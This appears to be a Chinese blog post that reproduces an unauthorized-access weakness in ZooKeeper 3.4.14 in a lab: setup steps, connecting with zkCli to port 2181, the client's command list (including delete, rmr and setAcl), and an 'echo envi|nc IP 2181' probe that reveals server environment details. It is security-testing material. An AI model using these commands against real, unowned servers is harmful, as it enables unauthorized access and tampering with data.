zookeeper(3.4.14)未授权漏洞复现

所需环境:

Zookeeper 3.4.14

Java JDK 1.8.0_181(及以上)

 

Zookeeper3.4.14下载位置:http://archive.apache.org/dist/zookeeper/zookeeper-3.4.14/

 

1、环境配置:

解压Zookeeper3.4.14包,conf/目录下zoo_sample.cfg文件重命名为zoo.cfg,并做如下修改dataDir的路径为解压目录

 

到bin目录下编辑zkEnv.sh,确保java环境变量已经设置好(kali默认环境变量已经设好)

 

 如是Windows则在zkEnv.cmd末尾加pause,以便看到报错信息

 

 

 2、Zookeeper启动和连接尝试

windows启动Zookeeper:

到bin目录,启动Zookeeper:zkServer.cmd

 

 

Linux启动Zookeeper:

到bin目录,启动Zookeeper:./zkServer.sh start

 

 

 windows尝试连接:

 

另开一个终端,尝试连接:zkCli.cmd -server IP:2181

 

 

 

 

 Linux尝试连接

另开一个终端,尝试连接:./zkCli.sh -server IP:2181

 

 

 

 

 

 可执行的命令:

ZooKeeper -server host:port cmd args
        stat path [watch]
        set path data [version]
        ls path [watch]
        delquota [-n|-b] path
        ls2 path [watch]
        setAcl path acl
        setquota -n|-b val path
        history
        redo cmdno
        printwatches on|off
        delete path [version]
        sync path
        listquota path
        rmr path
        get path [watch]
        create [-s] [-e] path data acl
        addauth scheme auth
        quit
        getAcl path
        close
        connect host:port

kali查看相关配置和操作系统信息:

 

:echo envi|nc IP 2181

 

posted @ 2020-12-08 16:20  BruceTyler  阅读(1331)  评论(0)    收藏  举报